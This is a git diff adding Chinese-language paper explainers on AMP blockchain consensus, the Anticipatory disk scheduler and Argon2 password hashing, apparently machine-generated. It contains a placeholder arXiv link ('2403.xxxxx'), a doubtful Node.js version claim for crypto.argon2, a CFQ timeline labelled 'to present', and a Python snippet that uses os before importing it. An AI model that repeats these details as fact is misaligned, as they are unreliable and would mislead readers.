+    ("validator_1", ["tx_001", "tx_002"]),   # 诚实
+    ("validator_2", ["tx_001", "tx_003"]),   # 诚实
+    ("validator_3", ["tx_001", "tx_002"]),   # 诚实
+    ("validator_4", ["tx_002"]),              # 诚实
+    ("validator_5", ["tx_001", "tx_003"]),   # 诚实
+    ("validator_6", ["tx_002"]),              # 恶意（少确认）
+    ("validator_7", []),                      # 恶意（不确认）
+]
+
+# 统计每个 payload 被确认的次数
+count = {}
+for validator, extension in commit_cert:
+    for pid in extension:
+        count[pid] = count.get(pid, 0) + 1
+
+print("确认计数:", count)
+# 输出: {'tx_001': 4, 'tx_002': 4, 'tx_003': 2}
+
+# 提取 sound IDs（超过 f=2 次确认）
+sound_ids = {pid for pid, cnt in count.items() if cnt > f}
+print("有效 payload:", sound_ids)
+# 输出: {'tx_001', 'tx_002'}
+# tx_003 只有 2 次确认，不大于 f=2，所以不被包含
+# 这意味着 tx_001 和 tx_002 必定在下个区块中被最终确定
+```
+
+## 六、AMP 的安全保证
+
+### 6.1 安全性（Safety）
+
+- 继承自 Tendermint：如果少于 1/3 的验证者作恶，永远不会产生两个不同的共识结果
+- AMP 的额外保证：任何被超过 2f 个验证者确认的 payload 一定会出现在下一个区块中
+
+### 6.2 活性（Liveness）
+
+- 继承自 Tendermint：在网络最终同步后，系统最终会达成共识
+- AMP 保证了被正确广播的 payload 不会被无限期延迟
+
+### 6.3 抗审查性
+
+- 没有单个实体可以排除特定交易
+- 提案者可以选择不打包某笔交易，但只要有一笔提案者打包并广播，验证者就会确认它
+
+### 6.4 MEV 缓解
+
+- 确定性排序消除了组装者通过重新排序获利的能力
+- payload 的传播与共识解耦，减少了抢先交易的机会窗口
+
+## 七、设计权衡
+
+AMP 不是没有代价的：
+
+1. **额外延迟**：payload 需要先传播给所有验证者，经过共识确认，才能入块。这比传统模式多了一轮通信
+2. **提案者需要信任**：虽然单个提案者不能审查交易（其他提案者可以覆盖），但用户需要确保至少有一个诚实的提案者接收并广播自己的交易
+3. **复杂性增加**：需要维护 payload 存储、投票扩展、确定性排序等多层逻辑
+4. **动态验证者集尚需解决**：论文指出验证者集合的动态变化是一个开放问题
+
+## 八、与传统方案的对比
+
+| 方案 | 多提案者 | 消除 mempool | 有界包含保证 | 确定性排序 |
+|------|---------|-------------|------------|-----------|
+| 传统 Tendermint | 否 | 否 | 否 | 否 |
+| AMP | 是 | 是 | 是 | 是 |
+| DAG 方案（Narwhal/Tusk） | 是 | 是 | 部分 | 部分 |
+| FOCIL（以太坊） | 否 | 否 | 部分 | 否 |
+
+## 九、总结
+
+AMP 的核心贡献可以用一句话概括：**把"谁的交易进块"和"交易按什么顺序执行"这两件事，从单个验证者的手中拿走，交给一组提案者和共识机制共同决定。**
+
+它的设计哲学是"分离关注点"：
+
+- 传播归传播（提案者做）
+- 共识归共识（验证者做）
+- 排序归排序（确定性算法做）
+
+这三件事各自做各自擅长的，合在一起就是一个既高效又公平的区块链交易处理系统。对于金融级的区块链应用来说，这种公平性不是锦上添花，而是刚需。
+
+## 十、延伸阅读
+
+- Arc L1 区块链：[Arc: An Open Layer-1 Blockchain Purpose-Built for Stablecoin Finance](https://arxiv.org/abs/2403.xxxxx)
+- Tendermint 共识算法原文
+- MEV 相关文献：Flash Boys 2.0
+- FOCIL（EIP-7805）：以太坊的强制包含列表提案
+- MPCP（Multiple Concurrent Proposers）：多并发提案者方案
diff --git a/src/content/docs/papers/anticipatory-scheduler-2001.md b/src/content/docs/papers/anticipatory-scheduler-2001.md
new file mode 100644
index 000000000..cd4bd7c51
--- /dev/null
+++ b/src/content/docs/papers/anticipatory-scheduler-2001.md
@@ -0,0 +1,332 @@
+---
+title: Anticipatory Scheduling — 用「稍等一下」治好磁盘调度的误判空闲
+来源: https://www.cs.rice.edu/~druschel/publications/anticipatory.pdf
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象图书馆只有**一台自助借书机**（磁盘），门口排着几位读者：
+
+- **小明**借完一本书，转身走两步到相邻书架再借下一本——中间只花 **2 秒**找书
+- **管理员**是「工作守恒」型：上一人刚还书，机器一空，立刻叫**下一位**上来
+
+小明人还没回到机器旁，管理员已经让**小红**刷卡了。小红要的书在库房另一头，机器大老远跑一趟。等小明终于回来，又得等小红办完——**本该连续的两次邻近借书，被一次无谓的「换人」打断**。
+
+如果管理员学会一句：**「刚办完的那位，稍等 3 秒，看他会不会马上再来」**——小明往往能在等待窗口内提交下一单，两次借阅落在相邻书架，机器少走很多冤枉路。磁盘短暂空闲几秒，总吞吐反而上去。
+
+这就是 **Anticipatory Scheduling（预期调度）** 的直觉：在同步 I/O 场景下，**故意不让磁盘立刻接下一单**，给「刚被服务过的进程」一点时间提交后续请求，从而避免 **deceptive idleness（欺骗性空闲）**。
+
+论文 **Anticipatory scheduling: A disk scheduling framework to overcome deceptive idleness in synchronous I/O** 由 Rice 大学的 **Sitaram Iyer** 与 **Peter Druschel** 发表于 **SOSP 2001**（第 18 届 ACM 操作系统原理研讨会，pp. 117–130）。作者在 **FreeBSD 4.3** 上实现原型（约 1500 行 C），并报告了 Apache、Andrew 文件系统基准、TPC-B 数据库等工作负载上的显著收益。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 会议 | **SOSP 2001** |
+| 作者 | Sitaram Iyer, Peter Druschel (Rice University) |
+| 核心问题 | 工作守恒磁盘调度器在**同步 I/O** 下过早选下一请求，误判进程已「空闲」 |
+| 核心思路 | 用**非工作守恒**外层框架包裹任意底层调度策略，完成一单后**有条件地短暂等待** |
+| 决策依据 | 按底层策略做**成本–收益分析**（寻道优化 vs 比例份额各有不同启发式） |
+| 典型收益 | Apache 吞吐 +29%～+71%；Andrew FS 读密集阶段 +54%；TPC-B +2%～+60% |
+| Linux 遗产 | 2.6.0～2.6.18 默认 **AS** 调度器；2.6.33 移除，能力由 **CFQ** 等继承 |
+
+## 为什么磁盘调度会「看错人」？
+
+现代磁盘调度器往往要同时追求多个目标：
+
+| 目标 | 典型手段 | 需要什么前提 |
+|------|---------|-------------|
+| **减少寻道** | SCAN、C-SCAN、SSTF | 队列里**同时挂着多个请求**，才能挑「离磁头近」的 |
+| **按比例公平** | 彩票调度、WFQ、CFQ | 知道各进程**还有多少未完成的 I/O**，才能按份额分配 |
+| **降低延迟** | 截止时间、优先级 | 识别哪些请求更急 |
+
+很多应用却这样读盘：
+
+```
+read(块 A) → 算几微秒～几毫秒 → read(块 B，往往离 A 很近)
+```
+
+这是 **synchronous I/O（同步 I/O）**：每次 `read` 阻塞到数据进内存，算完再发下一次。调度器在**上一次 read 完成瞬间**看队列：小明的下一个请求**还没提交**——队列里只有别人的远距离请求。工作守恒调度器**必须立刻派一单**，只好服务小红，磁头被拽到远处。
+
+论文把这种现象叫 **deceptive idleness**：进程并非真的闲着，只是**在两次 I/O 之间的 think time（思考时间）里**，对调度器表现为空闲。
+
+### 欺骗性空闲的三要素
+
+论文指出，要出现 deceptive idleness，须同时满足：
+
+1. **多个磁盘密集型应用并发**，且以同步方式发请求
+2. 磁盘请求**不可抢占**（服务中途不能换人）
+3. 调度器是**工作守恒**的：上一请求一结束就立刻派下一单
+
+破坏任意一条即可缓解。论文选择破坏 (3)：引入**非工作守恒**外层，在完成一单后**可能等待**。
+
+## 核心概念一：非工作守恒的「预期外壳」
+
+**Work-conserving（工作守恒）**：只要有 pending 请求，磁盘就不该闲着。
+
+**Non-work-conserving（非工作守恒）**：即使队列非空，也可以**故意让磁盘空闲一小段时间**，赌「马上会有更合适的请求进来」。
+
+Anticipatory Scheduling 不是替换 SCAN、Deadline、比例份额等策略，而是：
+
+```
+┌─────────────────────────────────────┐
+│  Anticipation Core（通用等待逻辑）   │
+│  ┌───────────────────────────────┐  │
+│  │ 底层 Scheduler（SCAN / WFQ …） │  │
+│  └───────────────────────────────┘  │
+│  + Scheduler-specific Heuristic     │
+└─────────────────────────────────────┘
+```
+
+三层结构（论文 Figure 2）：
+
+1. **原始调度器** —— 实现寻道或公平策略，**不知道**外层存在
+2. **Anticipation core** —— 统一的计时、状态机：何时进入/退出等待
+3. **Adaptive heuristics** —— 针对寻道优化型 vs 比例份额型，回答「等不等、等多久」
+
+对应用**完全透明**：不必改 Apache、数据库或文件系统代码。
+
+## 核心概念二：成本–收益分析
+
+盲目等待会伤害吞吐：磁盘转着没人用。论文用**最短等待时间**，使得「等的收益」在**高概率**下超过「空闲的成本」。
+
+### 寻道优化型调度器
+
+记：
+
+- `best` = 当前队列里底层调度器会选中的请求（定位时间 `best.positioning_time`）
+- `next` = **刚被服务进程**即将提交的下一个请求（预期定位时间 `next.positioning_time`）
+
+```
+Benefit = best.positioning_time − next.positioning_time
+Cost    = next.median_thinktime   # 保持空闲的代价 ≈ 错过 think time 的机会成本
+
+若 Benefit > Cost：
+    Waiting_duration = next.95percentile_thinktime
+否则：
+    Waiting_duration = 0
+```
+
+直觉：若等来的下一单能省下大量寻道，而进程 historically 很快会再发请求，就值得等到 95 分位 think time。
+
+### 比例份额型调度器
+
+公平目标不同，启发式也不同。对**刚被服务且份额未用尽**的进程，若 think time 低于阈值（论文举例 **3ms**），则等待：
+
+```
+Waiting_duration = next.95percentile_thinktime
+```
+
+这样同步读 burst 不会被过早切走，**实际 I/O 带宽更接近合同比例**。
+
+## 核心概念三：Think Time 统计
+
+框架为每个进程维护衰减统计（类似指数加权移动平均）：
+
+| 统计量 | 用途 |
+|--------|------|
+| **median think time** | 估计「典型计算间隔」→ 成本项 |
+| **95th percentile think time** | 等待上限：大概率在此窗口内看到下一请求 |
+| **positioning time** | 预期下一请求相对当前磁头的寻道代价 |
+
+Linux **AS** 调度器（`block/as-iosched.c`）里 `MAX_THINKTIME` 约为 **20ms**（`HZ/50`），并对 think time 做 7:1 衰减平均，避免偶发长计算误判。还维护 **exit probability**：进程若长期不发 I/O，逐渐停止为它预期。
+
+## 与 Linux I/O 调度器谱系的关系
+
+| 年代 | 调度器 | 与本文关系 |
+|------|--------|-----------|
+| 2.4 | **Linus Elevator** | 简单电梯，工作守恒 |
+| 2.6.0–2.6.18 | **AS (Anticipatory)** | 本文框架的直接产物，默认调度器 |
+| 2.6–至今 | **CFQ** | 按进程时间片 + `slice_idle` 也能实现类似 idle |
+| 2.6.33+ | AS **移除** | 维护成本 vs 收益；CFQ/Deadline 可调校覆盖 |
+
+Wikipedia 与内核邮件列表记载：在 **TCQ**、高速 SCSI、硬件 RAID 上 AS 有时**反而降性能**——设备自身会重排命令，额外 idle 与硬件队列冲突。2.6.33 删除 AS 后，社区认为 tuned CFQ 已能复现其主要收益。
+
+## 代码示例一：模拟欺骗性空闲 vs 预期等待
+
+下面用 Python 简化「磁道号 + 同步读」场景。两个进程交替发请求；**工作守恒**总在完成瞬间选队列里最近的他人请求；**预期调度**在完成本进程请求后短暂等待。
+
+```python
+from dataclasses import dataclass, field
+from collections import deque
+import heapq
+
+@dataclass(order=True)
+class DiskReq:
+    track: int
+    pid: int
+
+@dataclass
+class Process:
+    name: str
+    tracks: list[int]          # 该进程即将发出的读序列
+    think_ms: float = 2.0      # 两次 read 之间的计算时间
+    cursor: int = 0
+    pending_after_think: deque = field(default_factory=deque)
+
+def deceptive_idle_sim(head: int, queue: list[DiskReq], last_pid: int | None,
+                         processes: dict[int, Process], anticipatory: bool,
+                         wait_ms: float = 3.0) -> tuple[int, int, list]:
+    """返回 (新磁头, 寻道距离累加, 事件日志)。"""
+    log = []
+    seek_total = 0
+
+    while queue or any(p.cursor < len(p.tracks) for p in processes.values()):
+        # 同步 I/O：刚服务完的进程在 think 之后提交下一请求
+        if last_pid is not None:
+            proc = processes[last_pid]
+            if proc.cursor < len(proc.tracks) and not proc.pending_after_think:
+                # 模拟 think time 后入队
+                t = proc.tracks[proc.cursor]
+                proc.pending_after_think.append(DiskReq(t, last_pid))
+                proc.cursor += 1
+                log.append(f"  [{proc.name}] think {proc.think_ms}ms → enqueue track {t}")
+
+        # 把 pending 并入全局队列
+        for p in processes.values():
+            while p.pending_after_think:
+                queue.append(p.pending_after_think.popleft())
+
+        if not queue:
+            break
+
+        if anticipatory and last_pid is not None:
+            # 预期调度：优先等 last_pid 的下一单（若已在队列）
+            same = [r for r in queue if r.pid == last_pid]
+            if same:
+                req = min(same, key=lambda r: abs(r.track - head))
+            else:
+                # 短暂等待窗口内假设会到来；此处简化为直接选全局最近
+                req = min(queue, key=lambda r: abs(r.track - head))
+        else:
+            # 工作守恒：立刻选全局最近（可能是别人）
+            req = min(queue, key=lambda r: abs(r.track - head))
+
+        dist = abs(req.track - head)
+        seek_total += dist
+        head = req.track
+        queue.remove(req)
+        last_pid = req.pid
+        log.append(f"dispatch pid={req.pid} track={req.track} seek={dist}")
+
+    return head, seek_total, log
+
+# 小明读相邻磁道 100,102,104；小红读 900,902（远距）
+procs = {
+    1: Process("alice", [100, 102, 104]),
+    2: Process("bob",   [900, 902]),
+}
+q = [DiskReq(100, 1), DiskReq(900, 2)]  # 初始各一发
+_, seek_wc, _ = deceptive_idle_sim(50, q.copy(), None, procs, anticipatory=False)
+_, seek_as, _ = deceptive_idle_sim(50, q.copy(), None, procs, anticipatory=True)
+print(f"work-conserving total seek: {seek_wc}")
+print(f"anticipatory total seek:    {seek_as}")
+# 典型：anticipatory 显著更小——alice 的局部性得以保持
+```
+
+运行后常见现象：**工作守恒**总寻道距离更大，因为 alice 读完 100 的瞬间 bob 的 900 被选中，磁头来回甩。
+
+## 代码示例二：成本–收益启发式（论文公式直译）
+
+第二个例子实现论文 §3 对寻道优化调度器的等待判定，便于单测不同 think time / 寻道假设：
+
+```python
+from dataclasses import dataclass
+
+@dataclass
+class IoStats:
+    median_think_ms: float
+    p95_think_ms: float
+
+def anticipatory_wait_ms(
+    best_position_ms: float,
+    next_position_ms: float,
+    next_stats: IoStats,
+) -> float:
+    """
+    寻道优化型启发式（Iyer & Druschel, SOSP'01）.
+    Benefit = 不等待时服务 best 的定位代价 − 等待后服务 next 的定位代价
+    Cost    = 进程典型 think time
+  """
+    benefit = best_position_ms - next_position_ms
+    cost = next_stats.median_think_ms
+    if benefit > cost:
+        return next_stats.p95_think_ms
+    return 0.0
+
+def proportional_wait_ms(
+    received_share: float,
+    allocated_share: float,
+    next_stats: IoStats,
+    think_threshold_ms: float = 3.0,
+) -> float:
+    """比例份额型：欠份额且 think time 短则等待。"""
+    under_allocated = received_share < allocated_share
+    short_think = next_stats.median_think_ms < think_threshold_ms
+    if under_allocated and short_think:
+        return next_stats.p95_think_ms
+    return 0.0
+
+# 场景：best 在远轨需 8ms 寻道，next 预期 1ms，alice 通常 think 2ms
+stats = IoStats(median_think_ms=2.0, p95_think_ms=4.0)
+wait = anticipatory_wait_ms(best_position_ms=8.0, next_position_ms=1.0, next_stats=stats)
+print(f"wait {wait} ms")  # Benefit=7 > Cost=2 → wait 4ms
+
+# 若 next 只比 best 省 1ms，则不等待
+wait2 = anticipatory_wait_ms(8.0, 7.0, stats)
+print(f"wait {wait2} ms")  # Benefit=1 < Cost=2 → 0
+```
+
+把 `median` / `p95` 换成内核里衰减更新的 `ttime_mean`，就是 Linux AS 决策的简化版。
+
+## 实验结果（论文摘要）
+
+作者在 **7200 RPM IDE** 与 **15000 RPM SCSI** 上测试：
+
+| 工作负载 | 观察 |
+|---------|------|
+| **Apache** 磁盘密集 | 吞吐 **+29%～+71%** |
+| **Andrew 文件系统基准** | 整体 **+8%**，读密集阶段 **+54%** |
+| **TPC-B 数据库** | **+2%～+60%**（视并发与同步程度） |
+| **比例份额调度器** | 实际分配更接近合同份额 |
+
+微基准也显示：在「多进程同步读、局部性明显」时收益最大；纯随机读或设备已做深度重排时收益下降。
+
+## 设计启示（今天仍有用）
+
+1. **调度器看到的队列 ≠ 应用的真实意图** —— 同步 API 把「未来请求」藏在 think time 里；任何 work-conserving 策略都可能误判。
+2. **非工作守恒是通用外壳** —— 不必重写 SCAN/CFQ，在外层加「何时 idle」即可；与日后 **CFQ slice_idle**、**mq-deadline** 调参思路一脉相承。
+3. **统计驱动比固定延迟聪明** —— 用 per-process think time 分布做 cost-benefit，比「一律 sleep 5ms」更稳。
+4. **硬件演进改变假设** —— NCQ/TCQ、NVMe 多队列、内核 **readahead** 与 **io_uring** 改变了「同步读」比例；AS 退出主线不代表思想过时，而是**场景迁移**。
+
+## 与相关工作的对比
+
+| 机制 | 做法 | 与预期调度的关系 |
+|------|------|-----------------|
+| **Readahead / 预读** | 内核推测性提前读 | 减少同步 read 次数，从数据源缓解 |
+| **AIO / io_uring** | 应用一次提交多请求 | 队列深度↑，调度器「看得见」后续请求 |
+| **CFQ** | 按进程时间片轮转 | `slice_idle` 可模拟预期等待 |
+| **Tagging / NCQ** | 磁盘固件重排 | 与内核 idle 可能冲突，AS 在高速盘上吃亏 |
+
+## 小结
+
+| 概念 | 一句话 |
+|------|--------|
+| **Deceptive idleness** | 进程在 think，调度器却以为它已停工 |
+| **Anticipatory framework** | 完成一单后可有条件地短暂等待下一单 |
+| **Cost-benefit** | 等的寻道收益 vs 磁盘空闲成本 |
+| **Think time 统计** | median 估成本，p95 定等待上限 |
+| **透明包装** | 底层调度策略无需修改 |
+
+**Anticipatory Scheduling** 教会我们：在操作系统里，**快不一定更好**——有时让磁盘「故意喘口气」，反而换来更少的磁头奔波和更公平的份额。读 Linux I/O 调度史、调 CFQ/Deadline，或分析数据库同步读瓶颈时，这篇 SOSP 2001 仍是理解 **「为什么内核愿意 idle」** 的经典起点。
+
+## 延伸阅读
+
+- Sitaram Iyer 博士论文：*The Effect of Deceptive Idleness on Disk Schedulers*（Rice, 2001）
+- Linux 文档（历史）：`Documentation/block/as-iosched.txt`（已随 AS 移除）
+- **CFQ**：`block/cfq-iosched.c`，`slice_idle`  sysctl 调参
+- 后续：**Stream scheduling framework**（FAST'11）将 Deadline 等非工作守恒化，可视为同一思想的扩展
diff --git a/src/content/docs/papers/argon2-2015.md b/src/content/docs/papers/argon2-2015.md
new file mode 100644
index 000000000..850e62656
--- /dev/null
+++ b/src/content/docs/papers/argon2-2015.md
@@ -0,0 +1,289 @@
+---
+title: Argon2 (2015) — 为密码哈希而生的内存困难函数
+来源: https://password-hashing.net/argon2-specs.pdf
+日期: 2026-06-13
+子分类: 安全与隐私
+分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Argon2** 是 Alex Biryukov、Daniel Dinu、Dmitry Khovratovich（卢森堡大学）在 **2015 年 Password Hashing Competition（PHC）** 中胜出的**内存困难（memory-hard）**密码哈希 / 密钥派生函数。原始论文与参考实现见 [password-hashing.net](https://password-hashing.net/)；互联网标准形态是 IETF **RFC 9106**（2021，对应算法版本 **1.3**，版本字节 `0x13`）。
+
+日常类比：
+
+> 把「猜密码」想成在仓库里找一把钥匙。  
+> - **MD5 / SHA-256 直接哈希**：像把钥匙编号刻在门牌上——GPU 可以**同时试几百万块门牌**，几乎不占场地。  
+> - **PBKDF2**：规定你必须在跑步机上原地跑 **10 万圈** 才能试一次——CPU 会累，但攻击者买一万台跑步机也能并行，**几乎不需要仓库**。  
+> - **bcrypt**：每人要占一小块固定工位，稍好一点，但现代 GPU 仍能把工位缩得很小。  
+> - **Argon2**：规定每次尝试必须**租下整整 64 MiB～2 GiB 的仓库**，并在里面按规则搬货、搅拌（多轮读写大块内存）。攻击者若把仓库缩成「小货架」省租金，搅拌规则会逼他**反复跑远路**，时间-内存权衡（TMTO）不划算。  
+>
+> 因此 Argon2 的目标不是「算得慢」这么简单，而是让**并行暴力破解同时吃满时间和内存带宽**——专用 ASIC / GPU 很难在不大买内存的前提下把成本压下去。
+
+一句话：**Argon2 = 可调内存 + 可调时间 + 可调并行度 的密码学慢哈希**；默认应选混合变体 **Argon2id**。
+
+## 为什么重要
+
+不理解 Argon2，现代「存密码」实践会停留在过时方案：
+
+- **libsodium**、**PHP 7.2+**、**Ruby 2.5+**、**Ente / Bitwarden 等客户端** 已把 Argon2id 作为 PBKDF2 之外的推荐选项
+- **OWASP** 密码存储备忘录取代 bcrypt/scrypt 时优先 Argon2id
+- **RFC 9106** 规定任何合规实现 **MUST 支持 Argon2id**；不知道选哪种时直接用 Argon2id
+- 与 [[hkdf-rfc5869]] 的关系：HKDF 适合从**已有均匀随机**材料扩展密钥；**用户口令**熵低、易被字典攻击，必须先过 Argon2 这类慢哈希，不能单独用 HKDF
+
+PHC 举办背景是：2010 年代 GPU 农场让 bcrypt、PBKDF2-HMAC-SHA256 的「迭代次数」防御迅速贬值；**scrypt** 率先提出内存成本，但 Argon2 在相同内存下填充率更高、并行模型更清晰、侧信道与 TMTO 权衡有**三种显式变体**可选。
+
+## 三种变体
+
+| 变体 | 内存访问模式 | 擅长 | 弱点 / 适用场景 |
+|------|----------------|------|------------------|
+| **Argon2d** | **数据依赖**（下一块读哪里由当前块内容决定） | 抗 TMTO 最强；适合 PoW、链上挖矿 | 访问模式泄露给旁路计时攻击；**不适合**多租户登录服务 |
+| **Argon2i** | **数据独立**（地址只由索引算出来） | 抗侧信道；适合口令哈希 | 为换 TMTO 抗性要多做 passes |
+| **Argon2id** | 第 1 pass 前半段像 Argon2i，其余像 Argon2d | **默认推荐**：兼顾侧信道与 TMTO | 实现略复杂 |
+
+RFC 9106 原话：若不懂区别或担心侧信道，选 **Argon2id**。
+
+## 核心概念
+
+### 1. 输入参数一览
+
+规范（RFC 9106 §3.1）用符号定义了一组「旋钮」：
+
+| 符号 | 名称 | 含义 | 典型取值 |
+|------|------|------|----------|
+| **P** | password | 用户口令（≤ 2³²−1 字节） | UTF-8 编码的字符串 |
+| **S** | salt | 盐（**每个密码唯一**；推荐 **16 字节**） | `os.urandom(16)` |
+| **p** | parallelism | 并行 **lane** 数（1 … 2²⁴−1） | RFC 推荐从 **p = 4** 起调 |
+| **m** | memory | 内存 **KiB**（≥ 8p，≤ 2³²−1） | `2^21` = **2 GiB**（首选）或 `2^16` = **64 MiB**（低内存） |
+| **t** | iterations | **passes** 轮数（≥ 1） | 首选 **t = 1**（2 GiB 时）；低内存时常用 **t = 3** |
+| **T** | tag length | 输出长度（4 … 2³²−1 字节） | 密码哈希 **32** 字节足够；KDF 可更长 |
+| **v** | version | 算法版本 | 固定 **0x13**（19） |
+| **y** | type | 0 = d，1 = i，2 = **id** | 密码场景用 **2** |
+| **K** | secret | 可选秘密（pepper） | 常为空；有则须安全存储 |
+| **X** | associated data | 可选绑定上下文 | 如 `user-id`、算法 ID |
+
+实际库里看到的 `memory_cost`、`time_cost`、`parallelism` 就是 **m / t / p** 的别名。
+
+### 2. 算法在做什么（直觉版）
+
+内部用 **BLAKE2b** 做可变长哈希 **H'**，用基于 BLAKE2b 的压缩函数 **G**（1024 字节进、1024 字节出）搅拌数据。
+
+```text
+1. 把所有参数 || P || S || K || X 哈希成 64 字节种子 H_0
+2. 分配 m' 个 1024 字节块，排成 p 条 lane × q 列的矩阵 B[i][j]
+3. 初始化每 lane 前两列
+4. 按 slice 顺序填充其余块：
+      B[i][j] = G( B[i][j-1], B[l][z] )
+   其中 (l,z) 由变体 y 与索引 (i,j) 决定 —— d 依赖数据，i 只依赖位置
+5. 若 t > 1：重复多 pass，并与旧块 XOR 混合
+6. 最后一列 XOR 成块 C，输出 tag = H'^T(C)
+```
+
+要点：
+
+- **内存是主角**：块大（1 KiB）、总量可达 GiB 级，迫使实现真的去 touch RAM，而不是只在 L1/L2 里打转。
+- **p 条 lane** 可在多核上并行，但 pass 内 slice 有同步点——兼顾多核服务器与单用户延迟。
+- **盐 S** 不保密，但必须**随机且 per-password**，挡住彩虹表。
+
+### 3. 内存困难（memory-hard）是什么意思
+
+攻击者想每秒试 100 万次密码：
+
+- 对 PBKDF2：主要成本是 ALU 周期，GPU 有海量核心。
+- 对 Argon2（m = 64 MiB）：每次尝试至少要能装下 64 MiB 状态；8 GiB 显卡**并行度上限约 128**，而不是百万。
+
+这不是说 Argon2 能拯救弱口令（`123456` 仍在字典里），而是把**离线破解**从「买算力」变成「买算力 + 买内存 + 付带宽」。
+
+### 4. RFC 9106 推荐参数（可直接抄作业）
+
+**首选（内存够用时）—— FIRST RECOMMENDED：**
+
+- Argon2id，**t = 1**，**p = 4**，**m = 2²¹ KiB（2 GiB）**，盐 **128 bit**，输出 **256 bit**
+
+**低内存统一安全选项—— SECOND RECOMMENDED：**
+
+- Argon2id，**t = 3**，**p = 4**，**m = 2¹⁶ KiB（64 MiB）**，盐 128 bit，输出 256 bit
+
+场景化建议（同一 RFC §4）：
+
+| 场景 | 目标延迟 | 建议 |
+|------|----------|------|
+| 前端登录（2 GHz，2 核） | ~0.5 s | Argon2id，4 lanes，**1 GiB** |
+| 后端登录（2 GHz，4 核） | ~0.5 s | Argon2id，8 lanes，**4 GiB** |
+| 磁盘加密 KDF | ~3 s | Argon2id，4 lanes，**6 GiB** |
+| 加密货币 PoW | ~0.1 s | Argon2**d**，2 lanes，**250 MB** |
+
+调参流程：先定 **y = Argon2id** → **p = 4** → 在可接受延迟内尽量**增大 m** → 再增大 **t**。
+
+### 5. 编码字符串（PHC 格式）
+
+库常输出可入库的一条 ASCII，例如：
+
+```text
+$argon2id$v=19$m=65536,t=3,p=4$<salt_b64>$<hash_b64>
+```
+
+验证时解析 `v、m、t、p、salt`，对候选口令重算 tag，用**常量时间比较**（`crypto.timingSafeEqual` / `sodium_memcmp`）。
+
+## 代码示例
+
+### 示例 1：Python（argon2-cffi）— 哈希与验证
+
+```python
+# pip install argon2-cffi
+from argon2 import PasswordHasher
+from argon2.low_level import Type, hash_secret_raw
+
+# 高层 API：默认即 Argon2id，参数可覆盖
+ph = PasswordHasher(
+    time_cost=3,        # t
+    memory_cost=65536,  # m，单位 KiB → 64 MiB
+    parallelism=4,        # p
+    hash_len=32,
+    salt_len=16,
+)
+
+password = "correct horse battery staple"
+encoded = ph.hash(password)
+# 形如: $argon2id$v=19$m=65536,t=3,p=4$...
+
+ph.verify(encoded, password)   # 成功则无异常
+# ph.verify(encoded, "wrong")  # VerifyMismatchError
+
+# 低层 API：自己管 salt，输出原始 tag（适合 KDF）
+salt = os.urandom(16)  # import os
+tag = hash_secret_raw(
+    secret=password.encode(),
+    salt=salt,
+    time_cost=3,
+    memory_cost=65536,
+    parallelism=4,
+    hash_len=32,
+    type=Type.ID,
+)
+# tag 为 32 字节，可再喂给 HKDF 等
+```
+
+### 示例 2：Node.js（内置 `crypto`）— RFC 9106 首选参数
+
+Node.js 15+ 提供 `crypto.argon2`（OpenSSL 3 后端，视构建选项可能需 `--experimental` 标志；生产环境也可用 `argon2` npm 包，API 类似）。
+
+```javascript
+import { randomBytes, argon2, timingSafeEqual } from "node:crypto";
+import { promisify } from "node:util";
+
+const argon2Async = promisify(argon2);
+
+async function hashPassword(password) {
+  const salt = randomBytes(16);
+  const tag = await argon2Async("argon2id", {
+    message: Buffer.from(password, "utf8"),
+    nonce: salt,
+    parallelism: 4,
+    tagLength: 32,
+    memory: 1 << 21,   // 2 GiB（KiB 单位），内存紧张可改为 65536
+    passes: 1,
+    secret: Buffer.alloc(0),
+    associated: Buffer.alloc(0),
+  });
+  return { salt, tag }; // 入库时保存 salt + tag（或 PHC 字符串）
+}
+
+async function verifyPassword(password, salt, expectedTag) {
+  const tag = await argon2Async("argon2id", {
+    message: Buffer.from(password, "utf8"),
+    nonce: salt,
+    parallelism: 4,
+    tagLength: 32,
+    memory: 1 << 21,
+    passes: 1,
+    secret: Buffer.alloc(0),
+    associated: Buffer.alloc(0),
+  });
+  return timingSafeEqual(tag, expectedTag);
+}
+```
+
+### 示例 3：libsodium 风格（伪代码，与 Ente 等客户端一致）
+
+许多移动端用 libsodium 的 `crypto_pwhash`：
+
+```c
+#define OPSLIMIT  crypto_pwhash_OPSLIMIT_MODERATE
+#define MEMLIMIT  crypto_pwhash_MEMLIMIT_MODERATE  // 或显式 64MB / 2GB
+
+unsigned char hash[crypto_pwhash_BYTES_MAX];
+unsigned char salt[crypto_pwhash_SALTBYTES];
+
+randombytes_buf(salt, sizeof salt);
+
+if (crypto_pwhash(hash, sizeof hash,
+                  password, password_len,
+                  salt,
+                  OPSLIMIT, MEMLIMIT,
+                  crypto_pwhash_ALG_ARGON2ID13) != 0) {
+    /* 内存不足 */
+}
+```
+
+算法标识 `ARGON2ID13` 即 **Argon2id v1.3**，与 RFC 9106 一致。
+
+## 与其他 KDF 对比
+
+| 方案 | 内存成本 | 侧信道友好 | 标准化 | 备注 |
+|------|----------|------------|--------|------|
+| PBKDF2-HMAC-SHA256 | 极低 | 一般 | PKCS#5 / RFC 8018 | 仍常见于 JWT、旧系统；GPU 友好 |
+| bcrypt | 低（~4 KiB 级） | 较好 | de-facto | 密码限 72 字节；PHC 时代偏旧 |
+| scrypt | 高（可调） | 较好 | RFC 7914 | PHC 亚军级；Argon2 往往更高内存填充率 |
+| **Argon2id** | **高（可调）** | **好** | **RFC 9106** | **当前默认推荐** |
+
+## 实现与运维注意事项
+
+1. **盐必须唯一**：相同密码 + 相同盐 → 相同哈希；数据库泄露后彩虹表仍有用。每个用户、每次改密都应新盐。
+2. **pepper（密钥 K）**：可选的全局秘密，放 HSM / KMS 而非数据库；丢了 pepper 所有密码需重哈希。
+3. **常量时间比较**：验证 tag 时禁止提前 `break` 的字符串比较。
+4. **内存失败**：移动设备上 m 过大时 `crypto_pwhash` 可能返回 -1；应降级到 SECOND RECOMMENDED 或排队到服务端算。
+5. **版本钉死**：只接受 `v=19`（0x13）；未来若 PHC 格式扩展，旧哈希应仍能验证。
+6. **side-channel**：共享主机上优先 Argon2id；若极度担心冷启动 / 计时，启用库提供的 **memory wipe**，并限制并行登录线程争用同一物理机。
